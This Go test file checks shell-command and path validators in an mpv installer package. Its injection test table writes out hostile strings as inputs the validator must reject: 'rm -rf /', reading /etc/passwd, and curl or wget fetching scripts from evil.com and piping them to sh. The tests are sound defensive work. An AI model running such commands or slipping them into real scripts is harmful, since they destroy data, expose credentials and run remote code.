// Package installer provides installation utilities for MPV.Rocks. // This file contains comprehensive security and validation tests for validation utilities. package installer import ( "fmt" "os" "path/filepath" "runtime" "strings" "testing" ) // TestValidateShellCommand_InjectionAttempts tests shell command injection detection. // These tests verify that ValidateShellCommand catches various injection patterns. func TestValidateShellCommand_InjectionAttempts(t *testing.T) { injectionAttempts := []struct { name string cmd string expectError bool description string }{ // Command chaining {"semicolon_chaining", "ls; rm -rf /", true, "semicolon command chaining"}, {"double_ampersand", "ls && cat /etc/passwd", true, "AND operator chaining"}, {"single_ampersand", "ls & rm -rf /", true, "background execution with &"}, {"pipe_chain", "ls | cat /etc/passwd", true, "pipe operator chaining"}, {"double_pipe", "ls || rm -rf /", true, "OR operator chaining"}, // Command substitution {"dollar_paren", "echo $(cat /etc/passwd)", true, "command substitution with $()"}, {"nested_dollar_paren", "echo $(ls $(whoami))", true, "nested command substitution"}, {"backticks", "echo `cat /etc/passwd`", true, "backticks command substitution"}, {"nested_backticks", "echo `ls `whoami``", true, "nested backticks"}, // Redirects {"output_redirect", "ls > /etc/passwd", true, "output redirect"}, {"append_redirect", "ls >> /etc/passwd", true, "append redirect"}, {"input_redirect", "rm -rf / < input.txt", true, "input redirect"}, // Special characters individually {"newline", "ls\nrm -rf /", true, "newline character"}, {"carriage_return", "ls\rcat /etc/passwd", true, "carriage return"}, {"tab", "ls\tcat /etc/passwd", true, "tab character"}, {"parentheses", "ls (cat /etc/passwd)", true, "parentheses"}, {"dollar_sign", "echo $HOME", true, "dollar sign variable expansion"}, // Combinations and complex attacks {"complex_chain", "ls; cd /; rm -rf /*", true, "complex destructive chain"}, {"multiple_backticks", "`ls` `cat /etc/passwd`", true, "multiple backticks"}, {"mixed_chaining", "ls && cat /etc/passwd | grep root", true, "mixed chaining operators"}, {"newlines_in_command", "ls\ncd /etc\ncat passwd", true, "multiple newlines"}, // Realistic attack vectors {"wget_injection", "mpv-install && wget http://evil.com/malware.sh", true, "wget after command"}, {"curl_injection", "config-update && curl -s http://evil.com/sh | sh", true, "pipe to sh"}, {"chmod_injection", "install && chmod 777 /etc/passwd", true, "permission escalation"}, {"cp_injection", "backup && cp /etc/passwd /tmp/passwd.bak", true, "file copy attack"}, } for _, tt := range injectionAttempts { t.Run(tt.name, func(t *testing.T) { err := ValidateShellCommand(tt.cmd) if tt.expectError { if err == nil { t.Errorf("ValidateShellCommand(%q) expected error but got none", tt.cmd) } } else { if err != nil { t.Errorf("ValidateShellCommand(%q) unexpected error: %v", tt.cmd, err) } } }) } } // TestValidateShellCommand_SafeCommands tests valid shell commands that should pass. func TestValidateShellCommand_SafeCommands(t *testing.T) { safeCommands := []struct { name string cmd string description string }{ {"simple_ls", "ls", "simple ls command"}, {"simple_pwd", "pwd", "simple pwd command"}, {"echo_hello", "echo hello", "echo with text"}, {"echo_quoted_single", "echo 'hello world'", "echo with single quotes"}, {"echo_quoted_double", "echo \"hello world\"", "echo with double quotes"}, {"echo_with_dash", "echo -n hello", "echo with flag"}, {"command_with_spaces", "mpv --config=/path/to/config", "command with path"}, {"simple_alias", "alias mpv-install=/path/to/binary", "simple alias definition"}, {"multiple_words", "mpv player installed successfully", "text with spaces"}, {"version_string", "version 1.2.3 release", "version string"}, {"path_with_spaces", "/home/user name/config.conf", "path with spaces in directory"}, {"with_hyphens", "install-mpv-config-v2", "command with hyphens"}, {"with_underscores", "install_mpv_config", "command with underscores"}, {"config_path", "/home/user/.config/mpv/mpv.conf", "config file path"}, {"portable_config", "~/mpv/portable_config/mpv.conf", "portable config path"}, {"url_encoded", "ls%3b%20rm%20-rf%20/", "URL-encoded semicolon (not a shell metacharacter)"}, } for _, tt := range safeCommands { t.Run(tt.name, func(t *testing.T) { err := ValidateShellCommand(tt.cmd) if err != nil { t.Errorf("ValidateShellCommand(%q) unexpected error: %v (description: %s)", tt.cmd, err, tt.description) } }) } } // TestValidatePath_SafePaths tests that valid paths are accepted. func TestValidatePath_SafePaths(t *testing.T) { safePaths := []struct { name string path string description string }{ // Relative paths {"relative_simple", "./config.conf", "simple relative path"}, {"relative_parent", "../config.conf", "parent directory path"}, {"relative_nested", "./config/mpv/mpv.conf", "nested relative path"}, // Absolute paths (Unix) {"absolute_simple", "/home/user/config.conf", "simple absolute path"}, {"absolute_nested", "/home/user/.config/mpv/mpv.conf", "nested absolute path"}, {"absolute_with_spaces", "/home/user name/config.conf", "path with spaces"}, {"absolute_long_subdirs", "/home/user/.config/mpv/portable/config/input.conf", "long path"}, // Windows paths {"windows_simple", "C:\\Users\\user\\config.conf", "Windows simple path"}, {"windows_program_files", "C:\\Program Files\\App\\config.conf", "Windows Program Files path"}, {"windows_with_spaces", "C:\\Users\\user name\\config.conf", "Windows path with spaces"}, // Safe special characters {"with_underscores", "config_v2.conf", "path with underscores"}, {"with_hyphens", "backup-2024.conf", "path with hyphens"}, {"with_periods", "config.backup.old.conf", "multiple periods"}, {"with_numbers", "config123.conf", "path with numbers"}, // Config-specific paths {"home_config", "~/.config/mpv/mpv.conf", "home config path"}, {"portable_config", "~/mpv/portable_config/mpv.conf", "portable config path"}, // Edge cases {"single_char_filename", "a", "single character filename"}, {"filename_only", "mpv.conf", "filename only"}, {"dotfile", ".mpv.conf", "dotfile"}, {"double_dotfile", "..mpv.conf", "double dot prefix"}, } for _, tt := range safePaths { t.Run(tt.name, func(t *testing.T) { err := ValidatePath(tt.path) if err != nil { t.Errorf("ValidatePath(%q) unexpected error: %v (description: %s)", tt.path, err, tt.description) } }) } } // TestValidatePath_InvalidPaths tests that invalid paths are rejected. func TestValidatePath_InvalidPaths(t *testing.T) { invalidPaths := []struct { name string path string description string }{ {"empty_string", "", "empty path string"}, {"null_byte_middle", "config\x00.conf", "null byte in middle"}, {"null_byte_start", "\x00config.conf", "null byte at start"}, {"null_byte_end", "config.conf\x00", "null byte at end"}, {"very_long_path", strings.Repeat("a", maxPathLength+1), "path exceeding max length"}, {"extremely_long_path", strings.Repeat("/very/long/path/", 1000), "extremely long path"}, } for _, tt := range invalidPaths { t.Run(tt.name, func(t *testing.T) { err := ValidatePath(tt.path) if err == nil { t.Errorf("ValidatePath(%q) expected error but got none (description: %s)", tt.path, tt.description) } }) } } // TestValidatePathForWrite_SystemDirectories_Windows tests Windows system directory blocking. func TestValidatePathForWrite_SystemDirectories_Windows(t *testing.T) { if runtime.GOOS != "windows" { t.Skip("Skipping Windows-specific tests on non-Windows platform") } systemPaths := []struct { name string path string description string }{ {"windows_dir", "C:\\Windows", "Windows directory"}, {"windows_system32", "C:\\Windows\\System32", "System32 directory"}, {"windows_nested", "C:\\Windows\\System32\\drivers", "nested Windows directory"}, {"program_files", "C:\\Program Files", "Program Files directory"}, {"program_files_x86", "C:\\Program Files (x86)", "Program Files (x86) directory"}, {"program_files_nested", "C:\\Program Files\\App\\config", "nested Program Files"}, {"root_c", "C:\\", "C drive root"}, {"root_d", "D:\\", "D drive root"}, {"root_with_slash", "C:/", "C drive root with forward slash"}, {"windows_lowercase", "c:\\windows", "lowercase drive letter"}, } for _, tt := range systemPaths { t.Run(tt.name, func(t *testing.T) { err := ValidatePathForWrite(tt.path) if err == nil { t.Errorf("ValidatePathForWrite(%q) expected error but got none (description: %s)", tt.path, tt.description) } }) } } // TestValidatePathForWrite_SystemDirectories_Unix tests Unix/Linux/macOS system directory blocking. func TestValidatePathForWrite_SystemDirectories_Unix(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("Skipping Unix-specific tests on Windows platform") } systemPaths := []struct { name string path string description string }{ {"root", "/", "root directory"}, {"bin", "/bin", "/bin directory"}, {"sbin", "/sbin", "/sbin directory"}, {"usr_bin", "/usr/bin", "/usr/bin directory"}, {"usr_sbin", "/usr/sbin", "/usr/sbin directory"}, {"usr_local_bin", "/usr/local/bin", "/usr/local/bin directory"}, {"etc", "/etc", "/etc system configuration"}, {"dev", "/dev", "/dev device files"}, {"proc", "/proc", "/proc pseudo-filesystem"}, {"sys", "/sys", "/sys pseudo-filesystem"}, {"boot", "/boot", "/boot directory"}, {"lib", "/lib", "/lib directory"}, {"lib64", "/lib64", "/lib64 directory"}, {"etc_nested", "/etc/mpv/mpv.conf", "nested /etc path"}, {"usr_bin_nested", "/usr/bin/mpv", "nested /usr/bin path"}, } for _, tt := range systemPaths { t.Run(tt.name, func(t *testing.T) { err := ValidatePathForWrite(tt.path) if err == nil { t.Errorf("ValidatePathForWrite(%q) expected error but got none (description: %s)", tt.path, tt.description) } }) } } // TestValidatePathForWrite_UserDirectories tests that user directories are allowed. func TestValidatePathForWrite_UserDirectories(t *testing.T) { userPaths := []struct { name string path string description string }{ {"home_config", "/home/user/config.conf", "user home config"}, {"home_dot_config", "/home/user/.config/mpv/mpv.conf", "dot config path"}, {"tmp_file", "/tmp/temp.conf", "temporary file"}, {"home_nested", "/home/user/subdir/config.conf", "nested home directory"}, {"var_user", "/var/user/config.conf", "var user path"}, {"opt_user", "/opt/user/config.conf", "opt user path"}, } if runtime.GOOS == "windows" { // Add Windows-specific user paths userPaths = append(userPaths, struct{ name, path, description string }{"windows_users", "C:\\Users\\user\\config.conf", "Windows Users directory"}, struct{ name, path, description string }{"windows_documents", "C:\\Users\\user\\Documents\\config.conf", "Windows Documents"}, struct{ name, path, description string }{"windows_appdata", "C:\\Users\\user\\AppData\\Roaming\\mpv\\mpv.conf", "AppData Roaming"}, ) } for _, tt := range userPaths { t.Run(tt.name, func(t *testing.T) { err := ValidatePathForWrite(tt.path) if err != nil { t.Errorf("ValidatePathForWrite(%q) unexpected error: %v (description: %s)", tt.path, err, tt.description) } }) } } // TestContainsSpecialChars tests the ContainsSpecialChars helper function. func TestContainsSpecialChars(t *testing.T) { tests := []struct { name string input string chars string expected bool description string }{ // False cases (no special chars) {"simple_text", "hello", ";|&", false, "simple text without special chars"}, {"simple_text_null", "hello", "\x00", false, "simple text without null byte"}, {"empty_input", "", ";|&", false, "empty input string"}, {"empty_chars", "hello", "", false, "empty chars string"}, {"both_empty", "", "", false, "both strings empty"}, {"safe_path", "/path/to/file.conf", "\x00", false, "safe path without null byte"}, // True cases (with special chars) {"semicolon", "hello;world", ";|&", true, "contains semicolon"}, {"pipe", "hello|world", ";|&", true, "contains pipe"}, {"ampersand", "hello&world", ";|&", true, "contains ampersand"}, {"multiple_special", "hello;world&test", ";|&", true, "multiple special chars"}, {"null_byte", "config\x00.conf", "\x00", true, "contains null byte"}, {"newline", "hello\nworld", "\n\r\t", true, "contains newline"}, {"carriage_return", "hello\rworld", "\n\r\t", true, "contains carriage return"}, {"tab", "hello\tworld", "\n\r\t", true, "contains tab"}, {"backtick", "hello`world", "`$", true, "contains backtick"}, {"dollar", "hello$world", "`$", true, "contains dollar sign"}, {"single_special", ";", ";|&", true, "single special char"}, {"special_at_start", ";hello", ";|&", true, "special char at start"}, {"special_at_end", "hello;", ";|&", true, "special char at end"}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { result := ContainsSpecialChars(tt.input, tt.chars) if result != tt.expected { t.Errorf("ContainsSpecialChars(%q, %q) = %v, expected %v (description: %s)", tt.input, tt.chars, result, tt.expected, tt.description) } }) } } // TestIsSafePathForConfig tests the IsSafePathForConfig convenience function. func TestIsSafePathForConfig(t *testing.T) { t.Run("valid_config_path", func(t *testing.T) { // Create a temporary directory for testing tmpDir := t.TempDir() configPath := filepath.Join(tmpDir, "mpv.conf") err := IsSafePathForConfig(configPath) if err != nil { t.Errorf("IsSafePathForConfig(%q) unexpected error: %v", configPath, err) } // Verify parent directory was created parentDir := filepath.Dir(configPath) if _, err := os.Stat(parentDir); os.IsNotExist(err) { t.Errorf("Parent directory %q was not created", parentDir) } }) t.Run("nested_config_path", func(t *testing.T) { // Create a temporary directory and test nested path creation tmpDir := t.TempDir() configPath := filepath.Join(tmpDir, "subdir", "nested", "mpv.conf") err := IsSafePathForConfig(configPath) if err != nil { t.Errorf("IsSafePathForConfig(%q) unexpected error: %v", configPath, err) } // Verify all parent directories were created for _, path := range []string{ filepath.Join(tmpDir, "subdir"), filepath.Join(tmpDir, "subdir", "nested"), } { if _, err := os.Stat(path); os.IsNotExist(err) { t.Errorf("Parent directory %q was not created", path) } } }) t.Run("invalid_path_system_dir", func(t *testing.T) { if runtime.GOOS == "windows" { // Test Windows system directory err := IsSafePathForConfig("C:\\Windows\\mpv.conf") if err == nil { t.Error("IsSafePathForConfig(C:\\Windows\\mpv.conf) expected error but got none") } } else { // Test Unix system directory err := IsSafePathForConfig("/etc/mpv.conf") if err == nil { t.Error("IsSafePathForConfig(/etc/mpv.conf) expected error but got none") } } }) t.Run("invalid_path_null_byte", func(t *testing.T) { err := IsSafePathForConfig("config\x00.conf") if err == nil { t.Error("IsSafePathForConfig(config\\x00.conf) expected error but got none") } }) t.Run("existing_parent_directory", func(t *testing.T) { // Test with existing parent directory tmpDir := t.TempDir() parentDir := filepath.Join(tmpDir, "existing") configPath := filepath.Join(parentDir, "mpv.conf") // Create parent directory first err := os.MkdirAll(parentDir, 0755) if err != nil { t.Fatalf("Failed to create parent directory: %v", err) } // Should not error even though directory exists err = IsSafePathForConfig(configPath) if err != nil { t.Errorf("IsSafePathForConfig(%q) unexpected error: %v", configPath, err) } }) t.Run("create_nested_directories", func(t *testing.T) { // Test that nested directories are created tmpDir := t.TempDir() configPath := filepath.Join(tmpDir, "level1", "level2", "level3", "mpv.conf") err := IsSafePathForConfig(configPath) if err != nil { t.Errorf("IsSafePathForConfig(%q) unexpected error: %v", configPath, err) } // Verify all levels were created for i := 1; i <= 3; i++ { path := filepath.Join(tmpDir, "level1") for j := 2; j <= i; j++ { path = filepath.Join(path, fmt.Sprintf("level%d", j)) } if _, err := os.Stat(path); os.IsNotExist(err) { t.Errorf("Directory level %d was not created: %q", i, path) } } }) } // TestValidatePath_LengthBoundary tests path length boundary conditions. func TestValidatePath_LengthBoundary(t *testing.T) { t.Run("exactly_max_length", func(t *testing.T) { path := strings.Repeat("a", maxPathLength) err := ValidatePath(path) if err != nil { t.Errorf("ValidatePath(path at max length %d) unexpected error: %v", maxPathLength, err) } }) t.Run("one_over_max_length", func(t *testing.T) { path := strings.Repeat("a", maxPathLength+1) err := ValidatePath(path) if err == nil { t.Error("ValidatePath(path over max length) expected error but got none") } }) t.Run("one_under_max_length", func(t *testing.T) { path := strings.Repeat("a", maxPathLength-1) err := ValidatePath(path) if err != nil { t.Errorf("ValidatePath(path one under max length) unexpected error: %v", err) } }) } // TestValidatePath_Normalization tests path normalization behavior. func TestValidatePath_Normalization(t *testing.T) { tests := []struct { name string path string expectError bool description string }{ {"double_slashes", "//path//to//file", false, "double slashes"}, {"trailing_slash", "/path/to/dir/", false, "trailing slash"}, {"current_dir", "./file", false, "current directory reference"}, {"parent_dir", "../file", false, "parent directory reference (permissive)"}, {"complex_traversal", "../../file", false, "complex traversal (permissive)"}, {"mixed_slashes", "/path\\to\\file", false, "mixed slashes (platform-specific)"}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidatePath(tt.path) if tt.expectError && err == nil { t.Errorf("ValidatePath(%q) expected error but got none (description: %s)", tt.path, tt.description) } else if !tt.expectError && err != nil { t.Errorf("ValidatePath(%q) unexpected error: %v (description: %s)", tt.path, err, tt.description) } }) } } // TestValidateShellCommand_EdgeCases tests edge cases for shell command validation. func TestValidateShellCommand_EdgeCases(t *testing.T) { tests := []struct { name string cmd string expectError bool description string }{ {"empty_string", "", false, "empty string"}, {"single_char", "a", false, "single character"}, {"whitespace_only", " ", false, "whitespace only"}, {"only_quotes", "\"\"", false, "only double quotes"}, {"only_single_quotes", "''", false, "only single quotes"}, {"escaped_quotes", "\\\"", false, "escaped quotes"}, {"path_with_slash", "/path/to/file", false, "path with slashes"}, {"windows_path", "C:\\path\\to\\file", false, "Windows path"}, {"version_with_dots", "1.2.3", false, "version string with dots"}, {"url_without_special", "http://example.com/file", false, "URL without shell chars"}, {"multiple_spaces", " multiple spaces ", false, "multiple spaces"}, {"newlines_only", "\n", true, "only newline"}, {"tabs_only", "\t", true, "only tab"}, } for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { err := ValidateShellCommand(tt.cmd) if tt.expectError && err == nil { t.Errorf("ValidateShellCommand(%q) expected error but got none (description: %s)", tt.cmd, tt.description) } else if !tt.expectError && err != nil { t.Errorf("ValidateShellCommand(%q) unexpected error: %v (description: %s)", tt.cmd, err, tt.description) } }) } } // TestValidatePathForWrite_PlatformSpecific tests platform-specific path validation. func TestValidatePathForWrite_PlatformSpecific(t *testing.T) { t.Run("windows_on_unix_should_work", func(t *testing.T) { if runtime.GOOS == "windows" { t.Skip("Running on Windows, skipping Unix path test") } // On Unix, Windows paths are just treated as regular strings // They should pass basic validation (not system dirs on Unix) err := ValidatePathForWrite("C:\\Windows\\not-system.conf") if err != nil { t.Errorf("Unix system accepting Windows path as non-system: unexpected error: %v", err) } }) t.Run("absolute_path_resolution", func(t *testing.T) { tmpDir := t.TempDir() configPath := filepath.Join(tmpDir, "test.conf") err := ValidatePathForWrite(configPath) if err != nil { t.Errorf("ValidatePathForWrite(%q) unexpected error: %v", configPath, err) } }) }